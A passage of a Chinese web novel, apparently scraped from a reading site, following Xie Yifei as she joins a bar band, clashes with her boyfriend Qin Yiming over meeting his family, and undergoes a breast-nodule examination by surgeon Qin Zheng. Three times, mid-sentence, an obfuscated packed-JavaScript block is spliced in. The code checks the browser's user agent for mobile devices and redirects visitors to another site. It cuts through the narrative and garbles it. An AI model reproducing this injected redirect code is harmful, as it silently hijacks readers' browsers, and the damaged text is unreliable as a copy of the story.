谢一菲总听王林提起她的乐队,对乐队也了解不少,她知道乐队成员虽然个个业务能力都很过硬,但都和随性的老板很投契,除非有重要的演出,其他时候他们只利用业余时间排练和演出,而排练和演出的地点就在王林自己的酒吧里。 架子鼓和有些乐器不同,它是需要伙伴的。如果谢一菲想重拾音乐梦想,加入到一群志同道合的伙伴当中,王林的乐队显然是最适合她的。 可是那时候导师刚去世没多久,不少科研任务一股脑地都压在了她的身上,她是真的分身乏术,即便觉得很可惜,但她还是拒绝了。 本以为他们很快会有新的鼓手,她和这支乐队算是彻底错过了,谁知王林一副非她不可的样子,三天两头来游说她。 最近这段时间,谢一菲的工作渐渐回到正轨,那颗被她勉强安抚下来的心又一次躁动了起来。 谢一菲:【有点心动。】 王林的电话在下一秒打了过来:“心动不如行动啊姐妹!” 谢一菲也很想立刻就答应王林,但是她还有点顾虑:“我确实挺想加入你们,但是我的情况你也了解,我没有固定的时间去排练和演出。” 王林:“这点我早想好了,不然也不会请你来了。遇到比较重要的演出,你要是没有太急的事就配合一下,平时我酒吧里的演出,离你学校也近,你能来就来。至于费用,给你一次一算,但绝对不会比其他成员低。而且你也不用立刻做决定,可以先和乐队磨合一段时间,后面觉得好了,咱们再定下来,签个合同。” 谢一菲没想到王林会开出这么好的条件,知道自己如果错过了这一次,恐怕再没有哪个乐队老板愿意接受她了。 “可是我这样会不会影响你酒吧的生意?” “我们主唱会弹吉他,吉他手也会打鼓,你要是来不了,位置串一串也能应付。原鼓手离开的这段时间,我们就是这么过来的。” 谢一菲笑:“看来只会一门乐器的不好混啊。” 王林也笑:“只会一门,像你这么精也行呀。我之前一直没给乐队加人,不是没有想法,而是我对成员要求不低,所以迟迟遇不到合适的。” 谢一菲知道自己没那么好,但是她愿意为了这份赏识去尝试一下。 从小到大,无论是读书、工作,还是恋爱,谢一菲始终顾虑着父母家人的期待,她从不做他们不愿意看到的事,循规蹈矩三十年,一切按部就班,一切有条不紊。 可是人之所以成为人全赖与人有自己的想法和感受,也有突然喜欢上的东西和向往的生活。 她不知道她身体里的那个结节和多年来的压抑有没有关系,可她只要想到它,想到她不愿意看到的某种可能,她就无比想放纵,想遵循自己的内心活一次。 …… 晚上,谢一菲简单炒了两个菜,饭做好的时候,秦一鸣也到了。 两人边吃边聊,又聊到了他们下午买的那个按摩枕,因为是秦一鸣付的钱,谢一菲觉得那只能算他送给他姥姥的,还好她之前打算送给师母的智能手表还没送出去,可以先拿来应个急。 饭吃到一半,她起身去了卧室,拿出那款智能手表。 “这款手表可以检测身体的各项指标,正好适合老人佩戴。” 秦一鸣又露出那种不自然的表情。 谢一菲不确定地问:“你是介意这原本不是给她老人家准备的吗?” “我不是那个意思……”秦一鸣支支吾吾地说,“一菲,我姥姥的生日宴你打算跟我一起去吗?” 这话什么意思?他不是早就邀请她一起去了吗? 见她不说话,秦一鸣连忙解释:“我不是不想让你去,就是我一点准备都没有,可能是我之前没表达清楚让你误会了……” 原来他吞吞吐吐要说的话是这个。谢一菲从来没有这么窘迫过。 她努力回想他当初究竟怎么说的,但脑子里乱糟糟的,什么也想不起来。她只记得她把这当成一件很重要的事,因为他们交往至今还没正式拜见过对方的父母,她以为他是想借着他姥姥过生日的契机把她介绍给他的家人。 “我姥姥过生日,我们一大家子亲戚都在,我是怕你不自在……但你如果愿意去,那我现在就跟我妈说。” 谢一菲想说不用了,他却已经拿着手机走去阳台上打电话了。 这通电话打了差不多五六分钟,这期间秦一鸣不停来回踱步,即便听不到他们母子讲些什么,她也能猜到个大概。 她看着阳台上的男人,注意力渐渐从今天这场乌龙转移到了他这个人的身上。 秦一鸣身高180cm,在教师队伍中的身高仅次于个别体育老师。他的长相不算特别出众,但很顺眼,而且这个年纪不胖不秃,说起话来有种文质彬彬的学者气,应该会是很多人理想中的结婚对象吧。 可是在他们认识之前,他一直单身。这让谢一菲有点好奇原因。他说因为一度暗恋某个姑娘,所以一般的相亲都没去。他说这话时谢一菲对他还没有超出同事以外的感情,自然也不会吃醋,可是熟了以后才知道,他们在很早的一次教师运动会上就见过面了。 但当时的谢一菲也只当这是礼貌的恭维,随着两人相处的时间越来越长,她渐渐可以确定秦一鸣是真的喜欢她的,似乎比她喜欢他多一点,这对于她这样普通的姑娘来说很难得。 身边的同学都已经结婚甚至生子,家里人的催婚从来没停过,师母也时不时地会问起他们以后的打算。 这一切都让谢一菲觉得他们的关系似乎该更进一步了。可是看似离不开她的秦一鸣却从没提过结婚的事,他甚至没带她去见过他母亲,就连她邀请他去南京玩也被他拒绝了。 喜欢应该是装不出来的,那他是为什么呢? 谢一菲起身回到客厅,桌上的饭菜几乎没怎么动过,可已经没人有胃口继续吃了。 她开始收拾碗筷,片刻后秦一鸣挂上电话回到了客厅。 其实有些话不用他说,看他的表情就什么都明白了。 不等他开口,她反过来安慰他:“没关系,我想了一下,那种场合我去确实不合适。” “这事是我办的不好。再等等,刚才我妈电话没人接,估计是下楼遛弯儿没带手机,我晚点再打电话跟她说。” 谢一菲停下动作抬眼看他,亏他想得出这么蹩脚的谎话。此时秦一鸣也看着她,但那笑容实在有点勉强。 她最终还是没有去戳破这层窗户纸。 “你也忙一天了,早点回去休息吧。” 见她态度好转,秦一鸣殷勤接过她手里的碗筷:“不着急,我把碗洗了再走。” 谢一菲没跟他争,涮了抹布回到客厅擦桌子。 正在这时,他放在桌子上的手机进来了一条微信消息。 谢一菲朝着厨房方向提醒他:“你有微信。” “你帮我看一下是不是学校的事,我刚才把资料发给了教务处的老师,但那边一直没回我。” 听他这么说,谢一菲也以为是工作上的事,打开了他的微信。 发信人的备注是“刘女士”,微信内容不长,只一眼就看完了。 而就在这时,秦一鸣像是想起了什么,忽然从厨房冲了出来。 谢一菲平静地把手机放回桌上:“你自己看吧。” 秦一鸣迟疑了一下,用围裙擦干了手,拿起手机前又犹犹豫豫地看了眼谢一菲。 谢一菲没再看他,继续擦桌子,可是她的心情却没有她表现出来的这么平静。 之前一直困惑她的问题,在这条微信里有了答案。 那位“刘女士”先是埋怨了秦一鸣不会做事,“没定下来的事就想宣扬的人尽皆知”。但“刘女士”也表示,如果他执意要这么做,她也拦不住,只能和家里人说他“朋友”听说姥姥过八十大寿要来祝贺一下。 看口吻谢一菲已经猜到这位“刘女士”应该就是秦一鸣的母亲了。 原来他一直没提见父母的事,是因为他母亲对她不满意。虽然她知道这不是她的错,但看到那样的话,说一点都不难受那肯定是假的。 余光中的秦一鸣看完微信大大松了口气。 谢一菲不明所以地抬起头来,她甚至以为她看错了,他竟然在笑。 秦一鸣神色轻松:“你刚才那表情吓我一跳!我还以为我妈不同意呢,这不是同意了吗?那周六你就跟我一起去吧。” 谢一菲目瞪口呆:“你觉得你妈那是同意了?” “不是同意是什么?” 听他这么说,谢一菲几乎要笑了。 秦一鸣继续道:“太好了,正好让我姥我舅他们都见见你。” 谢一菲觉得再没有比这更荒谬的了。 她无语地看向窗外,好半晌才勉强平息了心头翻滚着的情绪。 “我不去。” “为什么?” 问这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722852|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,他似乎真的不理解。 看来情况比她想得更糟糕。 她丢下抹布:“‘普通朋友’去给你姥姥庆祝生日,你觉得合适吗?” 她待人一向温和,这还是头一次用这样的语气对秦一鸣说话。 秦一鸣愣怔了一下,然后有几分小心翼翼地问:“你生气了?” 谢一菲没有回答他。 她不想撒谎说自己没生气,但也不想吵架。 “不至于吧?我妈没什么文化,你一个大博士何必跟她在这咬文嚼字呢?” 她不觉得他母亲会没文化到连“普通朋友”和“女朋友”的差别都分不清楚,但她懒得跟他争辩。 她深吸一口气:“我周末还有别的事。” 秦一鸣似乎有点无措:“一菲,我承认这事儿是我没办好,之前让你误会了,主要是我妈那个人也确实不是太好相处,我之前从来没跟你提这些,就是怕你知道她的态度会退缩。但现在这都说好了,你又说不去,我怕我妈有想法。” 他怕他妈有想法,谁又在意她的想法? “那你就和你妈好好解释一下吧,反正我不去。” 后来他们又为这事儿争论了好半天,谢一菲格外坚持,秦一鸣劝不动她。交往快两年,两人第一次闹到不欢而散。 以前不管他们之间有什么矛盾,谢一菲都是能忍则忍。不是她喜欢委屈求全,是她觉得不同生长环境下长大的两个人肯定有很多在观念和生活习惯上的差异,要选择在一起,那就免不了磨合,而磨合的过程无非是有人要先让步。 以往那都是些小事,她打心底不在乎,那样的让步对她来说也算不上什么委屈,可是今天的事情不一样。 其实秦一鸣有一句话说对了,如果他早跟她说他妈不满意她,她可能早就和他断了。 在谢一菲看来,恋爱和婚姻完全是两码事,但恋爱是奔着结婚去的,一段美满婚姻的前提是长辈们支持。 谢一菲的父母刚在一起时就遭到了谢一菲奶奶的强烈反对,原因是她妈刘秀梅心脏不好常年吃药。可是在她爸的坚持下俩人还是结了婚生了谢一菲,她奶奶出了名的重男轻女,从此对她妈更没什么好脸色了。 她妈这辈子埋怨最多的人就是她奶奶,可她嘴上埋怨,行动上却在极力地讨好着。所以即便自己身体不好,还是拼命生了她弟谢东。终于有了儿子,以为婆婆对她能好点了,谁知道他爸本就不稳定的工作又因为超生丢了。 从此在谢一菲奶奶眼里,她妈刘秀梅就是他们老谢家的灾星,一辈子也翻不了身了。婆媳俩摩擦了这么多年,她爸在这场无声的硝烟中没起到任何润滑的作用,反而多年的夹板气让他变得更加沉默寡言。 一场婚姻,三败俱伤。如果她妈的命运也将延续到她的身上,那她宁可一辈子单身。 …… 和刚认识的姑娘吃完午饭没多久,秦铮就接到了医院的电话,说他的一位病人不慎摔了一跤,导致伤口有点开裂渗液。其实这个情况不必他亲自回去处理,可他却感激这通电话。 主任介绍的相亲他不得不来,所幸这姑娘还算善解人意,听闻约会要提前结束了,虽然表现出了遗憾,但也没什么埋怨。 秦铮很有风度地把人送上了出租车,才返回了医院。一下午先是给那位病人处理伤口,又写了两篇手术记录,不知不觉就忙到了天黑。 他打开微信,看到几个小时前相亲女生发来的消息,告诉他她已经顺利到家了。 他回了个“好的”,没有多聊的意思,女孩子却很快回过来—— 【你忙完了?】 秦铮没再回复,就当是在忙吧。 他切出聊天界面,随手打开朋友圈,最新的一条朋友圈动态来自他今天刚添加的另一个人。 看到那套架子鼓的照片,那个秋天的回忆忽然就涌了上来。 那是一条车水马龙的小街道,两侧的梧桐枝丫繁茂遮天蔽日,街角的几颗桂花树开了花,嫩黄的花株在一片郁郁葱葱中格外醒目。 太阳落山后,路灯渐次亮起,与街道两边店铺里的灯光共同绘出一副华灯初上的景象。 有激昂的鼓声从其中一家店铺里传出,混在整条街的鸣笛声、车铃声和人声之中,不觉得吵人,反而因为染上了点市井烟火气,变得雅俗共赏老少皆宜。 而每逢周五,那家店的玻璃门外总会出现一个女生,很高挑的身材,秀气白净的长相,但因为打扮朴素,让她成了茫茫人海中的一粒尘埃,很难被注意到。 但是有那么一刻,她是特别的——路人行色匆匆,只有她旁若无人地矗立在那里,一站就是小半天。 他一度以为她看上了那家店里打鼓的人,直到很久后他才知道,看似乖巧的她原来也有不羁的梦想。 . 临睡前,谢一菲看了眼手机,发现多了一条未读微信。发信人是秦铮,时间大约在半小时前,内容是接着白天的话题继续说的。 秦铮:【核磁需要打药,建议检查时有家属陪同。】 看来是这会儿刚约会完,又想起了她这个病患。 可是她在北京哪来的家属?要说最亲近的大概就是秦一鸣了。在今晚之前她或许会叫他陪她一起去做检查,可是今晚这事一出,她也不想再麻烦他了。 打个药而已,一个人有什么不行的? 她想到之前在城市论坛上看到的那个关于孤独等级的小调查,原来在这座世界最拥挤的城市里,竟然有那么多人是孤独的,他们一个人逛街,一个人吃饭,一个人看海,甚至一个人去做手术。 也是在那一刻,谢一菲第一次觉得自己并不是孤单一人,因为有这么多人跟她一样,多年来一直在茫茫人海中踽踽独行。 5. 第 5 章 周一一早就是一台全麻大手术,宋良做完麻醉前准备精神就萎靡了下来,忍不住大大打了个哈欠。 他身旁的秦铮正在护士的帮忙下穿手术衣,闻声淡淡瞥了他一眼。 宋医生敏锐捕捉到了这一眼,他忽然想到了什么,又立刻来了精神,凑到秦铮身边神神秘秘地问:“你猜我昨晚去哪了?” 秦铮没有立刻接话,等身后的护士离开才开口:“一把年纪了,明知道今早有手术昨晚还瞎折腾,你对自己是真有信心。” “啧,我这年纪怎么了?明明正是年富力强的时候!不过昨晚我确实打算早点回家的,结果新认识了一姑娘玩得比我还开,一直折腾到后半夜……” 秦铮一点都不意外,面不改色道:“小心得病。” “别咒我行不行?对了,你还没猜我昨晚去了哪遇到了谁。” “没兴趣。” “别啊!” 秦铮无奈,停下手上工作抬头看着他。 宋良神神秘秘地说:“我昨晚在初涩遇到巧巧了。怎么样?这回有兴趣了吧?” “说完了吧?说完了干活。” 宋良:“你这什么反应?她还一直旁敲侧击跟我打听你近况呢。” 秦铮没再理会他,转身走向阅片机:“患者的影像资料准备好了吗?” 旁边的护士答:“准备好了秦医生。” 宋良对他这淡漠的态度有点意外:“不是……你俩真闹掰了?” 秦铮头也不抬地说:“没好过哪来的掰?” “没好过?骗鬼呢吧!”宋良陡然提高了音量,引得周围人纷纷侧目。 秦铮冷冷瞥他一眼,虽然什么也没说,但拒绝继续聊下去的态度却很鲜明了。 然而别人很怕秦医生这样的眼神,他宋良却不怕。 他压低声音继续八卦:“你可别想瞒我,听说你俩不止一次,说没好过谁信啊?” 秦铮懒得理他,抬头问:“患者送过来了吗?” 有人回:“路上了,马上到。” 宋良还不死心,摸着下巴打量秦铮:“这么绝情,难不成又有新欢了?” 秦铮本来打算将某些人的废话直接屏蔽掉,可就在宋良说出“新欢”两个字时,他脑中却忽然出现了一张白皙秀气的脸。 可是,她算哪门子新欢呢? 正在这时,患者被推进了手术室。 秦铮收回思绪,吩咐开始麻醉前核对,宋良也敛起玩笑的神色,专心投入到了接下来的工作中。 这一天,秦铮几乎都是在手术室里度过的,直到快下班时,他才回到办公室。 还没来得及喝口水,影像科又打电话来说他某位患者的影像结果有些问题,他只好亲自去一趟门诊。 这个时间的门诊楼里比早上冷清一些,但人依旧不少。 忽然间,他看到了一个熟悉的身影。 她素面朝天衣着朴素,在熙熙攘攘的人流中本来没什么存在感,可他还是一眼就注意到了她。 彼时秦铮正乘坐扶梯下楼,谢一菲上楼,因为一直在看手机,所以并没有看到与她擦肩而过的他。 他想起来了,她今天应该是来做核磁的,可他明明提醒过她最好有人陪同,但看她似乎是一个人来的。 他又想到那天在商业街遇到她时,她就装出一副不认识他的样子,好像生怕身边人看出他和她的关系。 想到这里,秦铮微哂。 干他这一行久了,看过太多人情冷暖世态炎凉,多年的夫妻感情都经不住来这里淬炼一遭,别说是他们那样没有结婚的小情侣了。 可是,这样的关系、这样的感情又有什么意思? …… 这是谢一菲第一次做核磁,扎针和换衣服时没有家属陪同确实有点不太方便,但她一个人也还能应付。 可当增强剂打进她的血管里时,她开始感觉到不太舒服,而这种不舒服成功勾起了她心底的那一丝恐惧。当她被推进空荡荡的仪器中什么也看不见的时候,她的思绪就变得不再受控制。 她猜测着坐在外面显示屏后的医生在她的身体里究竟看到了什么,是好的还是坏的? 如果结果不好,他们会不会对她这个陌生人产生些许的怜悯或同情,还是他们见过太多她这样的人,早就习以为常了? 这些年乳腺癌在年轻女性群体中的发病率越来越高,如果她不幸被诊断为恶性,那她还能活多久?她知道乳腺癌的治愈率不算低,但临床上的“治愈”就是十年而已,她还这么年轻,十年对她来说远远不够。 她知道是自己想太多,可是在这个密闭的,只有她一个人的狭小空间里,她无法控制自己不去想。 好像过了一个世纪那么长,机器运转的声音终于停了。防辐射门打开,她听到了人声,一切又在一瞬间恢复了正常。 这一次的检查结果要等两天之后才能拿到。 她穿好衣服离开医院时,心境已和来时完全不同了。她再做不到像之前那么淡然冷静,她开始忐忑不安,脑子里各种念头不断。 果然,在生死面前,每一个人都是凡人。 . 拿到报告的那一天,谢一菲又去挂了秦铮的号。 他今天没戴口罩,这个距离看,这张脸和十年前比好像没有一点变化,但又好像哪里不一样了,让他的气质看着更成熟也更锋利。 她把手里的检查报告递给他,一同交到他手上的还有她此刻的无助和对生命前所未有的敬畏。 说起来,这世上的缘分还真奇妙,似乎每一次遇到他,她都要渡一次劫。 秦铮一言不发垂眸去看报告上的内容,她坐在一旁小心翼翼地观察着他的神情,渴望从中读出一些信息。 可他脸上没有任何情绪波动,神情是冷静的,同时也是冷漠的。 可能过了很久,也可能只是须臾一瞬间,她终究还是没忍住问他:“有问题吗” “基本可以排除恶性可能……” 提心吊胆了这么多天,听到这句话,谢一菲大大松了口气。 “但不是完全排除。” 一颗心再度被提了起来。 “那要怎么才能完全排除?”她问他。 “手术的事你考虑得怎么样了?” 谢一菲坦白:“我还没来得及想。” 秦铮顿了顿:“近期有怀孕的打算吗?” “怀孕?这和我做不做手术有什么关系吗?” “怀孕会导致激素紊乱,可能会让你这个结节长大,如果你近期打算备孕,就建议你尽早手术切除。” 原来是这么回事。 谢一菲想了想又问:“那怀孕导致结节癌变的概率大吗?” 他看她一眼,停了片刻才说:“如果它本身是良性的,癌变的概率并不大。” 说来说去,都只是个概率问题。 “手术是微创手术吗?” “这个位置不适合做微创手术,传统手术更合适,如果你是担心美观问题的话,其实传统手术也可以做得‘不留痕迹’。” 谢一菲有点意外:“开刀还可以不留疤吗?” 秦铮随手抽出一张纸,简单画了个示意图给她:“完全不留疤是不可能的,不过你这个结节的位置比较靠外,到时候可以沿着乳晕切开,不出意外的话创口不会很大,愈合后不仔细看基本看不出来。” 见她不说话,他微微蹙了下眉又说:“手术都会尽量考虑术后的美观,但与这个相比,我觉得个人健康更重要。” 她问这些问题纯属是因为好奇,昨天的事虽然不至于让她立刻下定决心和秦一鸣分手,但也让她觉得她很有必要重新审视一下他们的关系,所以结婚生子这个人生阶段离她又变得遥远了。而且她也不在意身上会不会多一道疤,她只是惊讶于医学水平进步飞快。 看来秦铮是误会了她,但她又觉得没必要对他解释什么。 她想了想说:“那就手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722853|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术切除吧。” 在经历了这几天的忐忑不安后,再去决定要不要做手术好像也没那么难了,想明明白白过往后的人生,不想将一个未知和隐患留在自己的身体里,那最好的选择就是手术。 听了她的话,秦铮的眼中闪过一丝她看不懂的情绪。 她不明所以:“有什么问题吗?” 他复又垂下眼,在打印出来的单子上签下名字:“没有,你想好就行。” “想好了,那什么时候可以手术?” “初步定在下周二住院吧。先去约这些检查的时间,检查结果务必在住院前拿到,如果检查排期遇到什么问题,随时来找我。” “好。” 他明明细致周到,但不知道是不是她的错觉,她总觉得他的态度比之前要冷淡许多。 记下了他交待的事情,正当她打算离开时,又听他忽然问:“手术的时候总该有人陪你吧?” 谢一菲怔了怔:“一定需要人陪吗?” 这一次秦铮还没说话,他身旁的女生就忍不住插话道:“虽然只是个局麻手术,但好歹是个手术啊。” 谢一菲点点头:“我明白了。” 那就是说,这个陪同人员不是必须的,她这个孤独等级高达十级的孤独高手完全可以一个人来做这个手术。 可想到这里,她又觉得有点委屈,就像刚才那女医生说的,这好歹是个手术,是要在她的身体上开一刀的,她再独立在坚强,也想在这个时候有个肩膀可以依靠。 离开医院的时候,她拨通了秦一鸣的电话。 上次不欢而散之后,两人冷战了好几天,她的这通电话顺理成章地给了彼此台阶。 秦一鸣很快接通了电话,几天没联系,但两人都很有默契地没提那天的事,只是像往常一样闲聊了几句。 谢一菲想了一下,把自己下周要做手术的事情告诉了秦一鸣。 突然听说她要做手术,秦一鸣显然吓了一跳。 “很严重吗?检查报告发给我看看。” “没什么事,只是一个局麻小手术。” “那就好。”秦一鸣埋怨她,“你之前怎么什么都不跟我说?” “我自己之前也没当回事,现在要做手术不就跟你说了吗?” 秦一鸣无奈叹气:“自己的身体怎么能这么大意!” 虽然都是埋怨的话,但谢一菲却觉得心里暖暖的,也让几天前的那场不快被冲淡了许多。 但秦一鸣很快又像是想到了什么,有点为难地问:“不过手术时间能改吗?” “为什么?” 秦一鸣:“我今天还打算跟你说来着,下周我恰巧要陪我们院副院长出差,我今年评职称的事一直想跟他说说,一起出差正好是个机会。” 秦一鸣的职称评了好几年了,几乎都成他心病了。虽然他不能陪她让她多少有点失望,还好她也早就做好了一个人去做手术的准备。 “手术时间应该不好改。不过没关系,我到时候可以找个学生陪我。你正常出差就行,工作要紧。” 秦一鸣似乎很纠结,片刻后他叹了口气:“这次真抱歉。我这个年纪要是再评不上,我也没脸在学校继续干了。” “没关系,不过职称的事你也不用太在意,这两年条件越来越苛刻,我们院也是一样的情况,很多很优秀的老师也被拖了好几年。” “那是那些老师上面没人,跟条件苛刻不苛刻没关系。” 谢一菲不认同这话,但她又觉得没必要在这种事上浪费口舌辨个谁对谁错,所以也没再说什么。 秦一鸣似乎也不想继续这个话题:“算了,不说这个了。对了,手术是不是都要给医生塞个红包?这事我来办。” “不用吧,我听说现在的医生都不收红包。” “这就是你不懂了,医生这工作又苦又累,工资也不高,要不是图这个,谁还干这行?行了,这事你不用管了,把医生联系方式给我我来联系。” 6. 第 6 章 谢一菲顿了顿说:“红包就不用了,你要是实在不放心打个招呼就行。” 秦一鸣失笑:“你就是太单纯,人家凭什么卖我这个面子?” 谢一菲犹豫了一下,把她那天挂白医生的号结果遇上秦铮出诊的事情简单讲给了秦一鸣。 电话那边沉默了好一会儿,秦一鸣问:“所以你的主刀医生是我弟?那天你俩也不是第一次见?” “我以为他没认出我,所以就没特意说。” “哦。”秦一鸣勉强笑笑,“那确实用不着送红包了,怎么说也是亲戚,会尽力的,而且他的业务能力也算年轻一辈里首屈一指的,挺好挺好。” “你放心出差吧。” “好。” 挂上电话,谢一菲又想起秦一鸣那显得有点久的沉默,还有那番话,像是说给她听的,但更像是说给他自己听的。 她有点后悔之前没早点坦白她找秦铮看过病的事,现在怎么解释都有点怪,还好手术之后,他们应该不会再有什么交集。 …… 术前的几项检查大多不难排期,只有一项胸部CT要约到下周,算算时间,在术前肯定是拿不到检查结果的。 这个时节,北京的白天很短暂,不到六点,天就彻底黑了下来。 在医院耗了大半天,谢一菲又饿又累,路过一家火锅店时,立刻就被店里飘出来的香味勾得再也挪不动步子。 店内客人并不多,谢一菲找了个角落的位置坐下,扫码点了餐。 等着上菜的空档,她扫了眼四周,意外发现对面那桌的几个人中有个熟悉的身影。 她早该想到在医院附近会有很大概率遇到秦铮。 虽然她不觉得一个人吃火锅是件丢人的事,但想到前几次的经历,她还真怕他又问她是不是一个人来做检查。 是趁他还没看到她时离开,还是当做没看到他继续留下来吃饭? 而就在她犹豫不决的时候,自她进店没跟她有过一次眼神交流的男人忽然站起身来,在他同伴的诧异注视下,迎着她错愕的目光朝她走来。 他是什么时候看到她的?他过来要跟她说什么? 这些问题都还来不及思考,他已经来到了她的面前。 秦铮直接拉开谢一菲对面的椅子坐了下来。桌与桌之间的空隙不大,更是因为他的到来显得拥挤了不少。 余光中,他的同伴都在好奇打量着他们,这让谢一菲感到有点局促。 她尽量做出一副刚看到他的样子,笑着打招呼:“这么巧?” 秦铮显然没有跟她寒暄客套的意思,扫了一眼她放在桌上的带有医院名字的塑料袋问她:“来做检查?” “是。” 他今天穿了件深咖色的羊绒衫,脱掉白大褂的他多了几分亲和力。他双手交叉放在面前的桌面上,微微前倾着身子跟她说话。 “都查完了吗?” “只差一项胸部CT,说要约到下周。” 他蹙眉:“怎么不跟我说?” “我看住院通知上写着任何机构出具的检查结果都可以。” 既然如此,她可以去社区医院或者给她做体检的中心医院做。 他拿过她手里的检查结果随意翻了翻:“我记得我说过有问题可以找我,还是……” 他忽又抬眼看向她:“你怕太麻烦我?” “我是觉得没必要什么事都麻烦你。” “看病不麻烦医生麻烦谁?” 谢一菲:“……” 他的这些话像是带着几分调侃的意味,但又难掩语气中的咄咄逼人。 她总觉得仅因为秦一鸣的关系,他对她不该是这个态度。 “如果你那些机构的检查结果不能按时出来怎么办?排好的手术时间要因为你的缘故临时打乱吗?” 谢一菲怔了怔,她确实没想那么多。 “抱歉。” 说话间,他拿出手机拨了个电话出去,和对面简单交代她的情况,前后不过一分钟,就帮她约好了剩下的检查。 挂上电话,他叮嘱她:“明天直接拿着缴费单去放射科就行……放射科认识吗?在门诊楼的负一层,和核磁在同一个地方。” 谢一菲点点头。 “再有什么事记得给我打电话。”他站起身来,顿了顿又说,“这不是一句客套话。” 该说的都说完了,秦铮却没有立刻离开,像是还有什么未尽之言。 他修长的手指在桌面上有节奏地轻轻敲了敲,而当那动作停下来时,谢一菲却鬼使神差地抢在他开口前说了句“谢谢秦医生”,彻底结束了这场短暂的拉锯。 他垂眼看着她,似是牵动了一下嘴角,然后一言不发地回到了他的同伴当中。 谢一菲悄悄松了口气。可是想到刚才他可能要说的话,还有他看她时的神情,都让她感到不安。 一个人真能忘记曾经有过亲密关系的人吗?他是不是已经想起了什么? 年初离家时,她妈找了个老邻居们非常推崇的大师给她算姻缘,大师说她今年在感情上会有一个坎,如果过得去,未来人生就顺遂了,过不去的话大师没说要怎么化解,她妈没有追问,因为那是另外的价钱,她也不关心,因为她压根儿就不信。 但是眼下,忽然再想起这件事,她却没有当初那么坚定了。 看了眼不远处的男人,她怀疑这坎已经在不知不觉中悄然而至了。 . 火锅店离她住的地方不远,加上晚饭吃得有点饱,谢一菲打算走路回去。 今夜是个晴天,月亮很圆很亮,但照亮这座城市的不是今晚的月亮,而是这满城的灯火。 生活在北京这座城市的人好像都不太需要休息,晚上九点多了,路上依旧车水马龙,临街的店面热闹非凡,骑着电瓶车的外卖小哥还在为准时送达而忙碌奔波着。 她最初来到这里时,也曾被这些兢兢业业的人们打动过,可这么多年过去了,再看这些熟悉到令人麻木的景象,她第一次感受到这里的空气让人窒息。 正在这时,口袋里的手机振动了几下,她拿出来看,是王林的微信,给了她一个时间和地点,还附带了一个歌单,是她和新的乐队成员第一次演出要演奏的曲子。 还好,这里除了生计,还有一些不足以外人道的梦想和信仰,这也是大多数外地人坚持留在这里的原因吧。 纯白是一支原创乐队,作品覆盖了摇滚和流行音乐,乐队也很喜欢翻唱老歌,被他们翻唱最多的就是Beyond的歌。 提到Beyond,她就想起很多年以前,她还在南京读大学的时候,Beyond的歌曾在他们那一批年轻人中风靡一时,KTV的点歌榜里也是常年位居前列。 她记得每周五从学校回家的必经之路上有一家卖架子鼓的乐器店,每次路过时,都能看到里面的人在陶醉地打鼓,如果有音乐,往往都是Beyond的歌。那时候,黄家驹已经去世20年了,Beyond也已经解散8年多了,但他们的音乐根深蒂固地影响着一代人。 那是她第一次接触架子鼓,却从此爱上了那种肆意、澎湃,仿佛能将灵魂放逐的音乐,也有了喜欢的乐队和喜欢的歌。 后来和秦铮在一起后,两人聊起对彼此的初印象,她才知道他第一次注意到她并非是他帮他们姐弟解围那次,而是那之前的一个下午。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722854|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那时候新学期还没开学,但他已经搬到了外婆家,准备在新的学校读高中的最后一年。有一天他闲着无聊,就坐在走廊的楼梯上抽烟,忽然就听到有女生在唱《真的爱你》。 他说他很好奇,到底是什么样的女生会不爱周杰伦爱Beyond,接着就看到了她。 …… 王林的酒吧有个很文艺的名字,叫“初涩”。就像王林说的,这里离谢一菲他们学校只有两站路。从此之后的每周五,她都将以鼓手的身份站上这里的舞台。 入夜之前的酒吧门前格外的冷清,与夜晚路过时看到的灯红酒绿人来人往完全是两个样。 推开厚重的玻璃门,隐约有电吉他的声音从里面传了出来。 她循着声音往里走,拐过一道墙就看到了舞台上的几个人。有人在调试设备,有人坐着闲聊。除了立麦前的主唱是女生,其他几人都是男生。 坐在台下的王林一眼看到她,连忙迎了过来,其他人见状也都跟着看了过来。 谢一菲起初有点紧张,但她很快看到了众人身后的那一套鼓。鼓身是纯白色的,在黑漆漆的酒吧中显得很扎眼,倒是和乐队的名字相得益彰。 那一瞬间,她内心所有的胆怯被一种隐秘的期待所取代。 王林热情帮她介绍了乐队的成员。 